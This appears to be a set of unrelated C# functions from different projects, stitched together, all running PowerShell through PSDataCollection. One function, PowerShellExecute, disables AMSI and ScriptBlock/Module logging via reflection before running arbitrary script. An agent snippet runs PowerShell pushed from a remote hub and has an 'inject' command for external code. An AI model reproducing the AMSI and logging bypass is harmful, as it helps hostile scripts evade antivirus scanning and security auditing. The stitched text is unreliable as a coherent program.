public static async Task <string> RunScript(CertificateRequestResult result, string scriptFile) { // argument check for script file existance and .ps1 extension var scriptInfo = new FileInfo(scriptFile); if (!scriptInfo.Exists) { throw new ArgumentException($"File '{scriptFile}' does not exist."); } if (scriptInfo.Extension != ".ps1") { throw new ArgumentException($"File '{scriptFile}' is not a powershell script."); } var config = SharedUtils.ServiceConfigManager.GetAppServiceConfig(); try { // create a new runspace to isolate the scripts using (var runspace = RunspaceFactory.CreateRunspace()) { runspace.Open(); // set working directory to the script file's directory runspace.SessionStateProxy.Path.SetLocation(scriptInfo.DirectoryName); using (var shell = PowerShell.Create()) { shell.Runspace = runspace; // ensure execution policy will allow the script to run, default to "Unrestricted", set in service config as "Default" to skip. if (config.PowershellExecutionPolicy != "Default") { shell.AddCommand("Set-ExecutionPolicy") .AddParameter("ExecutionPolicy", config.PowershellExecutionPolicy) .AddParameter("Scope", "Process") .AddParameter("Force") .Invoke(); } // add script command to invoke shell.AddCommand(scriptFile); // pass the result to the script shell.AddParameter("result", result); // accumulate output var output = new StringBuilder(); // capture errors shell.Streams.Error.DataAdded += (sender, args) => { var error = shell.Streams.Error[args.Index]; var src = error.InvocationInfo.MyCommand?.ToString() ?? error.InvocationInfo.InvocationName; output.AppendLine($"{src}: {error}\n{error.InvocationInfo.PositionMessage}"); }; // capture write-* methods (except write-host) shell.Streams.Warning.DataAdded += (sender, args) => output.AppendLine(shell.Streams.Warning[args.Index].Message); shell.Streams.Debug.DataAdded += (sender, args) => output.AppendLine(shell.Streams.Debug[args.Index].Message); shell.Streams.Verbose.DataAdded += (sender, args) => output.AppendLine(shell.Streams.Verbose[args.Index].Message); var outputData = new PSDataCollection <PSObject>(); outputData.DataAdded += (sender, args) => { // capture all main output var data = outputData[args.Index]?.BaseObject; if (data != null) { output.AppendLine(data.ToString()); } }; await Task.Run(() => { try { var async = shell.BeginInvoke <PSObject, PSObject>(null, outputData); shell.EndInvoke(async); } catch (ParseException ex) { // this should only happen in case of script syntax errors, otherwise // errors would be output via the invoke's error stream output.AppendLine($"{ex.Message}"); } }); return(output.ToString().TrimEnd('\n')); } } } catch (Exception ex) { return($"Error - {ex.GetType().Name}: {ex.Message}\n{ex.StackTrace}"); } }
private static void BindStreamEntryCallback <T>(PSDataCollection <T> stream, Action <T> handler) { stream.DataAdded += (object sender, DataAddedEventArgs e) => handler(stream[e.Index]); }
internal void Override(RemoteRunspace remoteRunspace, object syncObject, out bool isRunspacePushed) { lock (this._localSyncObject) { this._stopInvoke = false; } try { if (syncObject != null) { lock (syncObject) { this._runspaceRef.Override(remoteRunspace); isRunspacePushed = true; goto Label_0063; } } this._runspaceRef.Override(remoteRunspace); isRunspacePushed = true; Label_0063: using (PowerShell shell = PowerShell.Create()) { shell.AddCommand("Get-Command"); shell.AddParameter("Name", new string[] { "Out-Default", "Exit-PSSession" }); shell.Runspace = this._runspaceRef.Value; bool flag2 = this._runspaceRef.Value.GetRemoteProtocolVersion() == RemotingConstants.ProtocolVersionWin7RC; shell.IsGetCommandMetadataSpecialPipeline = !flag2; int num = flag2 ? 2 : 3; shell.RemotePowerShell.HostCallReceived += new EventHandler<RemoteDataEventArgs<RemoteHostCall>>(this.HandleHostCall); IAsyncResult asyncResult = shell.BeginInvoke(); PSDataCollection<PSObject> datas = new PSDataCollection<PSObject>(); while (!this._stopInvoke) { asyncResult.AsyncWaitHandle.WaitOne(0x3e8); if (asyncResult.IsCompleted) { datas = shell.EndInvoke(asyncResult); break; } } if ((shell.Streams.Error.Count > 0) || (datas.Count < num)) { throw RemoteHostExceptions.NewRemoteRunspaceDoesNotSupportPushRunspaceException(); } return; } } catch (Exception) { this._runspaceRef.Revert(); isRunspacePushed = false; throw; } }
public int StartExecutionLoop() { InitializeCurrentSession(); Roundtrip roundtrip = null; var stopWatch = new Stopwatch(); try { while (true) { _sessionViewModel.CommandPrompt = GetPrompt(); var queueItem = _executionQueue.Dequeue(); if (queueItem is LoadSessionRequest loadSessionRequest) { LoadSession(); if (loadSessionRequest.RunAfterLoad) { NotifyExecuteAll(); } continue; } if (queueItem is CodeCompletionRequest codeCompletionRequest) { DoCodeCompletion(codeCompletionRequest); continue; } var input = new PSDataCollection <PSObject>(); input.Complete(); var output = new PSDataCollection <PSObject>(); var request = queueItem as ExecutionRequest; roundtrip = request.Roundtrip; SessionViewModel.ActiveOutput = roundtrip.ViewModel; var commandLine = roundtrip.ViewModel.CommandLine; _powerShell.Commands.Clear(); _powerShell.AddScript(commandLine); _powerShell.AddCommand("Out-NotebookInternal"); _powerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); roundtrip.ViewModel.Hidden(); roundtrip.ViewModel.ClearOutput(); roundtrip.ViewModel.ShowExecuting(); try { ResetCancelState(); stopWatch.Restart(); var asyncResult = _powerShell.BeginInvoke(input, output); WaitHandle.WaitAny(new WaitHandle[] { asyncResult.AsyncWaitHandle, _cancelEvent }); _stdout.Flush(); if (_cancelled) { _powerShell.Stop(); roundtrip.ViewModel.WriteLine("^C"); } _powerShell.EndInvoke(asyncResult); } catch (RuntimeException ex) { DisplayError(ex); } stopWatch.Stop(); _sessionViewModel.TimeTaken = stopWatch.Elapsed; _sessionViewModel.HideProgress(); roundtrip.ViewModel.ShowEditing(); if (_cancelled) { foreach (var item in _executionQueue.Enumerate()) { if (item is ExecutionRequest r) { r.Roundtrip.ViewModel.ShowEditing(); } } } if (request.MoveToNext) { if (_sessionViewModel.IsLastItem(roundtrip.ViewModel)) { CreateNewRoundtrip(true); } else { var rr = _sessionViewModel.GetNextRoundtripViewModel(roundtrip.ViewModel); rr.Focus(); } } } } catch (OperationCanceledException) { // pass } return(_exitCode); }
public void RunScript(PowerShell shell, bool varwidth) { // Sleep a few secs to allow enough time for Results window to open and establish connection to OutputHub // Without this, output may not show System.Threading.Thread.Sleep(3000); string hubGroup = User.Identity.Name; // Connect to OutputHub IHubContext hub = GlobalHost.ConnectionManager.GetHubContext <OutputHub>(); if (shell == null) { hub.Clients.Group(hubGroup).addNewMessageToPage("Shell empty - nothing to execute."); return; } string fontstr = ""; if (varwidth != true) { fontstr = "face='monospace' size=3"; } hub.Clients.Group(hubGroup).addNewMessageToPage("<b>Executing: </b>" + shell.Commands.Commands[0].ToString()); string prevmsg = ""; string msg = ""; hub.Clients.Group(hubGroup).addNewMessageToPage("<br><b>BEGIN</b>"); hub.Clients.Group(hubGroup).addNewMessageToPage("<br>_________________________________________________________________________"); // Collect powershell OUTPUT and send to OutputHub var output = new PSDataCollection <PSObject>(); output.DataAdded += delegate(object sender, DataAddedEventArgs e) { msg = output[e.Index].ToString(); if (msg != prevmsg) { hub.Clients.Group(hubGroup).addNewMessageToPage("<br><span><font color=black " + fontstr + ">" + msg + "</font></span>"); } else { hub.Clients.Group(hubGroup).addNewMessageToPage("."); } prevmsg = msg; var psoutput = (PSDataCollection <PSObject>)sender; Collection <PSObject> results = psoutput.ReadAll(); }; prevmsg = ""; // Collect powershell PROGRESS output and send to OutHub shell.Streams.Progress.DataAdded += delegate(object sender, DataAddedEventArgs e) { msg = shell.Streams.Progress[e.Index].Activity.ToString(); if (msg != prevmsg) { hub.Clients.Group(hubGroup).addNewMessageToPage("<br><span><font color=green " + fontstr + ">" + msg + "</font></span>"); } else { hub.Clients.Group(hubGroup).addNewMessageToPage("."); } prevmsg = msg; var psprogress = (PSDataCollection <ProgressRecord>)sender; Collection <ProgressRecord> results = psprogress.ReadAll(); }; prevmsg = ""; // Collect powershell WARNING output and send to OutHub shell.Streams.Warning.DataAdded += delegate(object sender, DataAddedEventArgs e) { msg = shell.Streams.Warning[e.Index].ToString(); if (msg != prevmsg) { hub.Clients.Group(hubGroup).addNewMessageToPage("<br><span><font color=orange " + fontstr + "><b>***WARNING***:</b> " + msg + "</font></span>"); } else { hub.Clients.Group(hubGroup).addNewMessageToPage("."); } prevmsg = msg; var pswarning = (PSDataCollection <WarningRecord>)sender; Collection <WarningRecord> results = pswarning.ReadAll(); }; prevmsg = ""; // Collect powershell ERROR output and send to OutHub shell.Streams.Error.DataAdded += delegate(object sender, DataAddedEventArgs e) { msg = shell.Streams.Error[e.Index].ToString(); if (msg != prevmsg) { hub.Clients.Group(hubGroup).addNewMessageToPage("<br><span><font color=red " + fontstr + "><b>***ERROR***:</b> " + msg + "</font></span>"); } else { hub.Clients.Group(hubGroup).addNewMessageToPage("."); } prevmsg = msg; var pserror = (PSDataCollection <ErrorRecord>)sender; Collection <ErrorRecord> results = pserror.ReadAll(); }; // Execute powershell command IAsyncResult asyncResult = shell.BeginInvoke <PSObject, PSObject>(null, output); // Wait for powershell command to finish asyncResult.AsyncWaitHandle.WaitOne(); // var results2 = shell.Invoke(); // hub.Clients.Group(hubGroup).addNewMessageToPage(results2); hub.Clients.Group(hubGroup).addNewMessageToPage("<br>_________________________________________________________________________"); hub.Clients.Group(hubGroup).addNewMessageToPage("<br><b>EXECUTION COMPLETE</b>. Check above results for any errors."); return; }
private void InternalExecute(NativeActivityContext executionContext, ActivityInstance completedInstance) { int completedInstanceIndex; // Reading the value of pipeline activity variables from the context. completedInstanceIndex = this.lastIndexHint.Get(executionContext); PSDataCollection <PSObject> outValue = this.GetData(executionContext, this.OutputStream); PSDataCollection <PSObject> inValue = this.GetData(executionContext, this.InputStream); // Re-checking the index of the the child activity, which has just completed its execution. if (completedInstanceIndex >= this.Activities.Count || this.Activities[completedInstanceIndex] != completedInstance.Activity) { completedInstanceIndex = this.Activities.IndexOf((PSActivity)completedInstance.Activity); } // Calculating next child activity. int nextChildIndex = completedInstanceIndex + 1; // Checking for pipeline activity completion. if (nextChildIndex == this.Activities.Count) { if (inValue != null) { inValue.Dispose(); } if (outValue != null) { outValue.Dispose(); } return; } // Setting up the environment for next child activity to run. if (outValue != null) { outValue.Complete(); } if (inValue != null) { inValue.Dispose(); } inValue = outValue; outValue = new PSDataCollection <PSObject>(); // The pipeline is complete if there is no input // PS > function foo { $input | Write-Output "Hello" } // PS > foo // PS > if ((inValue == null) || (inValue.Count == 0)) { if (outValue != null) { outValue.Dispose(); } return; } this.SetData(executionContext, this.OutputStream, outValue); this.SetData(executionContext, this.InputStream, inValue); // Executing the next child activity. PipelineEnabledActivity nextChild = this.Activities[nextChildIndex]; executionContext.ScheduleActivity(nextChild, new CompletionCallback(InternalExecute)); this.lastIndexHint.Set(executionContext, nextChildIndex); }
private string CollectAsString(PSDataCollection <ErrorRecord> errors) { var output = errors.Select(error => error.ToString()).ToList(); return(string.Join(Environment.NewLine, output)); }
/// <summary> /// Method to run the sample script and handle debugger events. /// </summary> public void Run() { Console.WriteLine("Starting PowerShell Debugger Sample"); Console.WriteLine(); // Create sample script file to debug. string fileName = "PowerShellSDKDebuggerSample.ps1"; string filePath = System.IO.Path.Combine(Environment.CurrentDirectory, fileName); System.IO.File.WriteAllText(filePath, _script); using (Runspace runspace = RunspaceFactory.CreateRunspace()) { // Open runspace and set debug mode to debug PowerShell scripts and // Workflow scripts. PowerShell script debugging is enabled by default, // Workflow debugging is opt-in. runspace.Open(); runspace.Debugger.SetDebugMode(DebugModes.LocalScript); using (PowerShell powerShell = PowerShell.Create()) { powerShell.Runspace = runspace; // Set breakpoint update event handler. The breakpoint update event is // raised whenever a break point is added, removed, enabled, or disabled. // This event is generally used to display current breakpoint information. runspace.Debugger.BreakpointUpdated += HandlerBreakpointUpdatedEvent; // Set debugger stop event handler. The debugger stop event is raised // whenever a breakpoint is hit, or for each script execution sequence point // when the debugger is in step mode. The debugger remains stopped at the // current execution location until the event handler returns. When the // event handler returns it should set the DebuggerStopEventArgs.ResumeAction // to indicate how the debugger should proceed: // - Continue Continue execution until next breakpoint is hit. // - StepInto Step into function. // - StepOut Step out of function. // - StepOver Step over function. // - Stop Stop debugging. runspace.Debugger.DebuggerStop += HandleDebuggerStopEvent; // Set initial breakpoint on line 10 of script. This breakpoint // will be in the script workflow function. powerShell.AddCommand("Set-PSBreakpoint").AddParameter("Script", filePath).AddParameter("Line", 10); powerShell.Invoke(); Console.WriteLine("Starting script file: " + filePath); Console.WriteLine(); // Run script file. powerShell.Commands.Clear(); powerShell.AddScript(filePath).AddCommand("Out-String").AddParameter("Stream", true); var scriptOutput = new PSDataCollection <PSObject>(); scriptOutput.DataAdded += (sender, args) => { // Stream script output to console. foreach (var item in scriptOutput.ReadAll()) { Console.WriteLine(item); } }; powerShell.Invoke <PSObject>(null, scriptOutput); } } // Delete the sample script file. if (System.IO.File.Exists(filePath)) { System.IO.File.Delete(filePath); } Console.WriteLine("PowerShell Debugger Sample Complete"); Console.WriteLine(); Console.WriteLine("Press any key to exit."); Console.ReadKey(true); }
public async Task <int?> RunAsync(string script, Dictionary <string, RuntimeValue> variables = null, Dictionary <string, RuntimeValue> parameters = null, Dictionary <string, RuntimeValue> outVariables = null, string workingDirectory = null, CancellationToken cancellationToken = default) { variables ??= new Dictionary <string, RuntimeValue>(); parameters ??= new Dictionary <string, RuntimeValue>(); outVariables ??= new Dictionary <string, RuntimeValue>(); var runspace = this.Runspace; var powerShell = System.Management.Automation.PowerShell.Create(); powerShell.Runspace = runspace; foreach (var var in variables) { this.LogDebug($"Importing {var.Key}..."); runspace.SessionStateProxy.SetVariable(var.Key, ConvertToPSValue(var.Value)); } if (this.DebugLogging) { runspace.SessionStateProxy.SetVariable("DebugPreference", "Continue"); } if (this.VerboseLogging) { runspace.SessionStateProxy.SetVariable("VerbosePreference", "Continue"); } var output = new PSDataCollection <PSObject>(); output.DataAdded += (s, e) => { var rubbish = output[e.Index]; this.OnOutputReceived(rubbish); }; powerShell.Streams.Progress.DataAdded += (s, e) => this.OnProgressUpdate(powerShell.Streams.Progress[e.Index]); powerShell.Streams.AttachLogging(this); if (!string.IsNullOrWhiteSpace(workingDirectory)) { DirectoryEx.Create(workingDirectory); powerShell.AddCommand("Set-Location"); powerShell.AddParameter("Path", workingDirectory); powerShell.AddStatement(); } powerShell.AddScript(script); foreach (var p in parameters) { this.LogDebug($"Assigning parameter {p.Key}..."); powerShell.AddParameter(p.Key, ConvertToPSValue(p.Value)); } int?exitCode = null; this.pshost.ShouldExit += handleShouldExit; using (var registration = cancellationToken.Register(powerShell.Stop)) { try { await Task.Factory.FromAsync(powerShell.BeginInvoke((PSDataCollection <PSObject>)null, output), powerShell.EndInvoke); foreach (var var in outVariables.Keys.ToList()) { outVariables[var] = PSUtil.ToRuntimeValue(unwrapReference(powerShell.Runspace.SessionStateProxy.GetVariable(var))); } } finally { this.pshost.ShouldExit -= handleShouldExit; } } void handleShouldExit(object s, ShouldExitEventArgs e) => exitCode = e.ExitCode; object unwrapReference(object value) => value is PSReference reference ? reference.Value : value; return(exitCode); }
/// <summary> /// Executes specified PowerShell code using System.Management.Automation.dll and bypasses /// AMSI, ScriptBlock Logging, and Module Logging (but not Transcription Logging). /// </summary> /// <param name="PowerShellCode">PowerShell code to execute.</param> /// <param name="OutString">Switch. If true, appends Out-String to the PowerShellCode to execute.</param> /// <param name="BypassLogging">Switch. If true, bypasses ScriptBlock and Module logging.</param> /// <param name="BypassAmsi">Switch. If true, bypasses AMSI.</param> /// <returns>Output of executed PowerShell.</returns> /// <remarks> /// Credit for the AMSI bypass goes to Matt Graeber (@mattifestation). Credit for the ScriptBlock/Module /// logging bypass goes to Lee Christensen (@_tifkin). /// </remarks> public static string PowerShellExecute(string PowerShellCode, bool OutString = true, bool BypassLogging = true, bool BypassAmsi = true) { if (string.IsNullOrEmpty(PowerShellCode)) { return(""); } using (PowerShell ps = PowerShell.Create()) { BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Static; if (BypassLogging) { var PSEtwLogProvider = ps.GetType().Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider"); if (PSEtwLogProvider != null) { var EtwProvider = PSEtwLogProvider.GetField("etwProvider", flags); var EventProvider = new System.Diagnostics.Eventing.EventProvider(Guid.NewGuid()); EtwProvider.SetValue(null, EventProvider); } } if (BypassAmsi) { var amsiUtils = ps.GetType().Assembly.GetType("System.Management.Automation.AmsiUtils"); if (amsiUtils != null) { amsiUtils.GetField("amsiInitFailed", flags).SetValue(null, true); } } ps.AddScript(PowerShellCode); if (OutString) { ps.AddCommand("Out-String"); } PSDataCollection <object> results = new PSDataCollection <object>(); ps.Streams.Error.DataAdded += (sender, e) => { Console.WriteLine("Error"); foreach (ErrorRecord er in ps.Streams.Error.ReadAll()) { results.Add(er); } }; ps.Streams.Verbose.DataAdded += (sender, e) => { foreach (VerboseRecord vr in ps.Streams.Verbose.ReadAll()) { results.Add(vr); } }; ps.Streams.Debug.DataAdded += (sender, e) => { foreach (DebugRecord dr in ps.Streams.Debug.ReadAll()) { results.Add(dr); } }; ps.Streams.Warning.DataAdded += (sender, e) => { foreach (WarningRecord wr in ps.Streams.Warning) { results.Add(wr); } }; ps.Invoke(null, results); string output = string.Join(Environment.NewLine, results.Select(R => R.ToString()).ToArray()); ps.Commands.Clear(); return(output); } }
private static string GetPrompt() { string newPrompt = null; try { if (_singleton._runspace?.Debugger != null && _singleton._runspace.Debugger.InBreakpoint) { // Run prompt command in debugger API to ensure it is run correctly on the runspace. // This handles remote runspace debugging and nested debugger scenarios. PSDataCollection <PSObject> results = new PSDataCollection <PSObject>(); var command = new PSCommand(); command.AddCommand("prompt"); _singleton._runspace.Debugger.ProcessCommand( command, results); if (results.Count == 1) { newPrompt = results[0].BaseObject as string; } } else { var runspaceIsRemote = _singleton._mockableMethods.RunspaceIsRemote(_singleton._runspace); System.Management.Automation.PowerShell ps; if (!runspaceIsRemote) { ps = System.Management.Automation.PowerShell.Create(RunspaceMode.CurrentRunspace); } else { ps = System.Management.Automation.PowerShell.Create(); ps.Runspace = _singleton._runspace; } using (ps) { ps.AddCommand("prompt"); var result = ps.Invoke <string>(); if (result.Count == 1) { newPrompt = result[0]; if (runspaceIsRemote) { if (!string.IsNullOrEmpty(_singleton._runspace?.ConnectionInfo?.ComputerName)) { newPrompt = "[" + (_singleton._runspace?.ConnectionInfo).ComputerName + "]: " + newPrompt; } } } } } } catch { // Catching all exceptions makes debugging problems a bit harder, but it avoids some noise if // the remote doesn't define a prompt. } if (string.IsNullOrEmpty(newPrompt)) { newPrompt = "PS>"; } return(newPrompt); }
internal static void CheckErrors(PSDataCollection<ErrorRecord> error) { foreach(ErrorRecord err in error) { if(err != null) { Console.WriteLine(err.Exception.Message); } } }
private void Connect() { try { connection.Stop(); connection.Start().ContinueWith(task => { if (task.IsFaulted) { Console.WriteLine("There was an error opening the connection:{0}", task.Exception.GetBaseException()); } else { //Obsolete myHub.On <string, string>("getPS", (s1, s2) => { //using (PowerShell PowerShellInstance = PowerShell.Create()) //{ // try // { // PowerShellInstance.AddScript(s1); // var PSResult = PowerShellInstance.Invoke(); // if (PSResult.Count() > 0) // { // string sResult = PSResult.Last().BaseObject.ToString(); // if (sResult != sScriptResult) //obsolete from 1.0.07 -> returnPS // { // sScriptResult = sResult; // Random rnd = new Random(); // tReInit.Interval = rnd.Next(1000, 10000); //wait max 10s to ReInit // } // myHub.Invoke<string>("Respond", s2, Environment.MachineName + ":" + sResult).ContinueWith(task1 => // { // if (task1.IsFaulted) // { // Console.WriteLine("There was an error calling send: {0}", task1.Exception.GetBaseException()); // } // }); // } // } // catch (Exception ex) // { // Console.WriteLine("There was an error: {0}", ex.Message); // } //} //Program.MinimizeFootprint(); }); myHub.On <string, string>("returnPS", (s1, s2) => { TimeSpan timeout = new TimeSpan(0, 5, 0); //default timeout = 5min DateTime dStart = DateTime.Now; TimeSpan dDuration = DateTime.Now - dStart; using (PowerShell PowerShellInstance = PowerShell.Create()) { Trace.WriteLine(DateTime.Now.ToString() + "\t run PS... " + s1); try { PowerShellInstance.AddScript(s1); PSDataCollection <PSObject> outputCollection = new PSDataCollection <PSObject>(); outputCollection.DataAdding += ConsoleOutput; PowerShellInstance.Streams.Error.DataAdding += ConsoleError; IAsyncResult async = PowerShellInstance.BeginInvoke <PSObject, PSObject>(null, outputCollection); while (async.IsCompleted == false || dDuration > timeout) { Thread.Sleep(200); dDuration = DateTime.Now - dStart; if (tReInit.Interval > 5000) { tReInit.Interval = 5000; } } //var PSResult = PowerShellInstance.Invoke(); //if (PSResult.Count() > 0) //{ // string sResult = PSResult.Last().BaseObject.ToString(); // if (sResult != sScriptResult) // { // sScriptResult = sResult; // Trace.WriteLine(" done. Result: " + sResult); // Random rnd = new Random(); // tReInit.Interval = rnd.Next(200, Properties.Settings.Default.StatusDelay); //wait max Xs to ReInit // } //} //else //{ // Trace.WriteLine(" done. no result."); //} } catch (Exception ex) { Console.WriteLine("There was an error: {0}", ex.Message); } } Program.MinimizeFootprint(); }); //New 0.9.0.6 myHub.On <string, string>("returnPSAsync", (s1, s2) => { Trace.WriteLine(DateTime.Now.ToString() + "\t run PS async... " + s1); var tSWScan = Task.Run(() => { using (PowerShell PowerShellInstance = PowerShell.Create()) { try { PowerShellInstance.AddScript(s1); var PSResult = PowerShellInstance.Invoke(); if (PSResult.Count() > 0) { string sResult = PSResult.Last().BaseObject.ToString(); if (!string.IsNullOrEmpty(sResult)) //Do not return empty results { if (sResult != sScriptResult) { sScriptResult = sResult; Random rnd = new Random(); tReInit.Interval = rnd.Next(200, Properties.Settings.Default.StatusDelay); //wait max Xs to ReInit } } } } catch (Exception ex) { Console.WriteLine("There was an error: {0}", ex.Message); } } Program.MinimizeFootprint(); }); }); myHub.On <string>("init", (s1) => { try { Trace.Write(DateTime.Now.ToString() + "\t Agent init... "); myHub.Invoke <string>("Init", Hostname).ContinueWith(task1 => { }); Trace.WriteLine(" done."); } catch { } try { foreach (string sGroup in Properties.Settings.Default.Groups.Split(';')) { myHub.Invoke <string>("JoinGroup", sGroup).ContinueWith(task1 => { }); } Program.MinimizeFootprint(); } catch { } }); myHub.On <string>("reinit", (s1) => { try { //Properties.Settings.Default.InventorySuccess = new DateTime(); //Properties.Settings.Default.HealthCheckSuccess = new DateTime(); //Properties.Settings.Default.Save(); Random rnd = new Random(); tReInit.Interval = rnd.Next(200, Properties.Settings.Default.StatusDelay); //wait max 5s to ReInit } catch { } }); myHub.On <string>("status", (s1) => { try { Trace.Write(DateTime.Now.ToString() + "\t send status..."); string sResult = "{}"; using (PowerShell PowerShellInstance = PowerShell.Create()) { try { PowerShellInstance.AddScript(Properties.Settings.Default.PSStatus); var PSResult = PowerShellInstance.Invoke(); if (PSResult.Count() > 0) { sResult = PSResult.Last().BaseObject.ToString(); sResult = sResult.Replace(Environment.MachineName, Hostname); JObject jRes = JObject.Parse(sResult); jRes.Add("ScriptResult", sScriptResult); jRes.Add("Groups", Properties.Settings.Default.Groups); sResult = jRes.ToString(); } } catch (Exception ex) { Console.WriteLine(" There was an error: {0}", ex.Message); } } myHub.Invoke("Status", new object[] { Hostname, sResult }).ContinueWith(task1 => { }); Trace.WriteLine(" done."); Program.MinimizeFootprint(); } catch (Exception ex) { Trace.Write(DateTime.Now.ToString() + " ERROR: " + ex.Message); } }); myHub.On <string>("version", (s1) => { try { Trace.Write(DateTime.Now.ToString() + "\t Get Version... "); //Get File-Version sScriptResult = (FileVersionInfo.GetVersionInfo(Assembly.GetExecutingAssembly().Location)).FileVersion.ToString(); Trace.WriteLine(sScriptResult); Random rnd = new Random(); tReInit.Interval = rnd.Next(200, Properties.Settings.Default.StatusDelay); //wait max 5s to ReInit } catch (Exception ex) { Trace.Write(DateTime.Now.ToString() + " ERROR: " + ex.Message); } }); myHub.On <string>("wol", (s1) => { try { if (!string.IsNullOrEmpty(s1)) { foreach (string sMAC in s1.Split(';')) { try { WOL.WakeUp(sMAC); //Send Broadcast //Send to local Gateway foreach (NetworkInterface f in NetworkInterface.GetAllNetworkInterfaces()) { if (f.OperationalStatus == OperationalStatus.Up) { foreach (GatewayIPAddressInformation d in f.GetIPProperties().GatewayAddresses) { //Only use IPv4 if (d.Address.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) { WOL.WakeUp(d.Address, 9, sMAC); } } } } } catch { } } } } catch { } }); myHub.On <string>("setinstance", (s1) => { Trace.WriteLine(DateTime.Now.ToString() + "\t Set instance: " + s1); try { if (!string.IsNullOrEmpty(s1)) { string sConfig = Assembly.GetExecutingAssembly().Location + ".config"; XmlDocument doc = new XmlDocument(); doc.Load(sConfig); doc.SelectSingleNode("/configuration/applicationSettings/DevCDRAgent.Properties.Settings/setting[@name='Instance']/value").InnerText = s1; doc.Save(sConfig); RestartService(); //Update Advanced Installer Persistent Properties RegistryKey myKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Zander Tools\\{0AC43E24-4308-4BE7-A369-D50DB4056B32}", true); if (myKey != null) { myKey.SetValue("INSTANCE", s1.Trim(), RegistryValueKind.String); myKey.Close(); } } } catch { } }); myHub.On <string>("setendpoint", (s1) => { Trace.WriteLine(DateTime.Now.ToString() + "\t Set Endpoint: " + s1); try { if (!string.IsNullOrEmpty(s1)) { if (s1.StartsWith("https://")) { string sConfig = Assembly.GetExecutingAssembly().Location + ".config"; XmlDocument doc = new XmlDocument(); doc.Load(sConfig); doc.SelectSingleNode("/configuration/applicationSettings/DevCDRAgent.Properties.Settings/setting[@name='Endpoint']/value").InnerText = s1; doc.Save(sConfig); RestartService(); //Update Advanced Installer Persistent Properties RegistryKey myKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Zander Tools\\{0AC43E24-4308-4BE7-A369-D50DB4056B32}", true); if (myKey != null) { myKey.SetValue("ENDPOINT", s1.Trim(), RegistryValueKind.String); myKey.Close(); } } } } catch { } }); myHub.On <string>("setgroups", (s1) => { Trace.WriteLine(DateTime.Now.ToString() + "\t Set Groups: " + s1); try { if (!string.IsNullOrEmpty(s1)) { string sConfig = Assembly.GetExecutingAssembly().Location + ".config"; XmlDocument doc = new XmlDocument(); doc.Load(sConfig); doc.SelectSingleNode("/configuration/applicationSettings/DevCDRAgent.Properties.Settings/setting[@name='Groups']/value").InnerText = s1; doc.Save(sConfig); RestartService(); //Update Advanced Installer Persistent Properties RegistryKey myKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Zander Tools\\{0AC43E24-4308-4BE7-A369-D50DB4056B32}", true); if (myKey != null) { myKey.SetValue("GROUPS", s1.Trim(), RegistryValueKind.String); myKey.Close(); } } } catch { } }); myHub.On <string>("getgroups", (s1) => { try { if (!string.IsNullOrEmpty(s1)) { sScriptResult = Properties.Settings.Default.Groups; Random rnd = new Random(); tReInit.Interval = rnd.Next(200, Properties.Settings.Default.StatusDelay); //wait max 5s to ReInit } } catch { } }); myHub.On <string>("restartservice", (s1) => { try { RestartService(); sScriptResult = "restart Agent..."; } catch { } }); myHub.On <string>("rzinstall", (s1) => { RZInst(s1); }); myHub.On <string>("rzupdate", (s1) => { var tSWScan = Task.Run(() => { try { sScriptResult = "Detecting RZ updates..."; Random rnd = new Random(); tReInit.Interval = rnd.Next(200, Properties.Settings.Default.StatusDelay); //wait max 5s to ReInit RZUpdater oUpdate = new RZUpdater(); RZScan oScan = new RZScan(false, false); oScan.GetSWRepository().Wait(30000); oScan.SWScan().Wait(30000); oScan.CheckUpdates(null).Wait(30000); if (string.IsNullOrEmpty(s1)) { sScriptResult = oScan.NewSoftwareVersions.Count.ToString() + " RZ updates found"; rnd = new Random(); tReInit.Interval = rnd.Next(200, Properties.Settings.Default.StatusDelay); //wait max 5s to ReInit } List <string> lSW = new List <string>(); foreach (var oSW in oScan.NewSoftwareVersions) { if (string.IsNullOrEmpty(s1) || s1 == "HUB") { RZInst(oSW.Shortname); } else { var SWList = s1.Split(';'); if (SWList.Contains(oSW.Shortname)) { RZInst(oSW.Shortname); } } } } catch { } }); }); myHub.On <string>("rzscan", (s1) => { var tSWScan = Task.Run(() => { try { sScriptResult = "Detecting updates..."; Random rnd = new Random(); tReInit.Interval = rnd.Next(2000, Properties.Settings.Default.StatusDelay); //wait max 5s to ReInit RZUpdater oUpdate = new RZUpdater(); RZScan oScan = new RZScan(false, false); oScan.GetSWRepository().Wait(30000); oScan.SWScan().Wait(30000); oScan.CheckUpdates(null).Wait(30000); List <string> lSW = new List <string>(); foreach (var SW in oScan.NewSoftwareVersions) { lSW.Add(SW.Shortname + " " + SW.ProductVersion + " (old:" + SW.MSIProductID + ")"); } sScriptResult = JsonConvert.SerializeObject(lSW); rnd = new Random(); tReInit.Interval = rnd.Next(2000, Properties.Settings.Default.StatusDelay); //wait max 5s to ReInit } catch { } }); }); myHub.On <string>("inject", (s1) => { var tSWScan = Task.Run(() => { try { sScriptResult = "Inject external code..."; try { ManagedInjection.Inject(s1); sScriptResult = "External code executed."; } catch (Exception ex) { sScriptResult = "Injection error:" + ex.Message; } } catch { } }); }); myHub.On <string, string>("userprocess", (cmd, arg) => { var tSWScan = Task.Run(() => { if (string.IsNullOrEmpty(cmd)) { cmd = Assembly.GetExecutingAssembly().Location; arg = Environment.MachineName + ":" + "%USERNAME%"; } try { if (string.IsNullOrEmpty(arg)) { ProcessExtensions.StartProcessAsCurrentUser(cmd, null, null, false); } else { ProcessExtensions.StartProcessAsCurrentUser(null, cmd + " " + arg, null, false); } } catch (Exception ex) { Console.WriteLine(ex.Message); } }); }); myHub.Invoke <string>("Init", Hostname).ContinueWith(task1 => { try { if (task1.IsFaulted) { Console.WriteLine("There was an error calling send: {0}", task1.Exception.GetBaseException()); } else { try { foreach (string sGroup in Properties.Settings.Default.Groups.Split(';')) { myHub.Invoke <string>("JoinGroup", sGroup).ContinueWith(task2 => { }); } Program.MinimizeFootprint(); } catch { } } } catch { } }); } }).Wait(); } catch (Exception ex) { Console.WriteLine("There was an error: {0}", ex.Message); } }
